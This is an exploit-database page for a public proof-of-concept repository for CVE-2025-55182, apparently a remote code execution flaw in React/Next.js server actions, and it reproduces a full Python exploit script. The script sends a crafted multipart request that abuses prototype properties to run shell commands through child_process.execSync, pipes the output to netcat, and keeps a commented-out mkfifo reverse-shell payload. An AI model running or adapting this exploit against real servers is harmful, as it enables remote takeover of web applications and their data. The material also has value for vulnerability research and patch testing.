Exploit database

GH-8f0d77be1c265e69d97b8bd5b5bd909e

timsonner/react2shell-cve-2025-55182

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
timsonner/react2shell-cve-2025-55182Revision bac9e4166a3c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

react2shell-exploit-1.py

Python · 2,510 bytes
import socket

HOST = 'localhost'
PORT = 3000
PAYLOAD = 'echo Heyo! teh date is $(date) This server is vulnerable to react2shell | nc -v localhost 4444'

# PAYLOAD = f'rm /tmp/f; mkfifo /tmp/f; /bin/sh -i 2>&1 </tmp/f |nc -v localhost 4444 >/tmp/f'

# The multipart body content
# We use \r\n for line endings as required by HTTP
body_parts = [
    '------WebKitFormBoundaryx8jO2oVc6SWP3Sad',
    'Content-Disposition: form-data; name="0"',
    '',
    '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix": "var res=process.mainModule.require(\'child_process\').execSync(\'' + PAYLOAD + '\',{\'timeout\':5000}).toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'), {digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}',
    '------WebKitFormBoundaryx8jO2oVc6SWP3Sad',
    'Content-Disposition: form-data; name="1"',
    '',
    '"$@0"',
    '------WebKitFormBoundaryx8jO2oVc6SWP3Sad',
    'Content-Disposition: form-data; name="2"',
    '',
    '[]',
    '------WebKitFormBoundaryx8jO2oVc6SWP3Sad--',
    ''
]

# Join with CRLF
body = '\r\n'.join(body_parts)

# Calculate length
content_length = len(body.encode('utf-8'))

# Construct headers
headers = [
    'POST / HTTP/1.1',
    f'Host: {HOST}:{PORT}',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0',
    'Next-Action: x',
    'X-Nextjs-Request-Id: b5dce965',
    'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad',
    'X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9',
    f'Content-Length: {content_length}',
    'Connection: close',
    '',
    ''
]

request = '\r\n'.join(headers) + body

print("Sending request...")
print("-" * 40)
print(request)
print("-" * 40)

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.sendall(request.encode('utf-8'))
        
        # Receive response
        response = b""
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response += chunk
            
    print("\nResponse:")
    print("-" * 40)
    print(response.decode('utf-8', errors='replace'))
    print("-" * 40)

except ConnectionRefusedError:
    print(f"Error: Could not connect to {HOST}:{PORT}. Is the server running?")
except Exception as e:
    print(f"Error: {e}")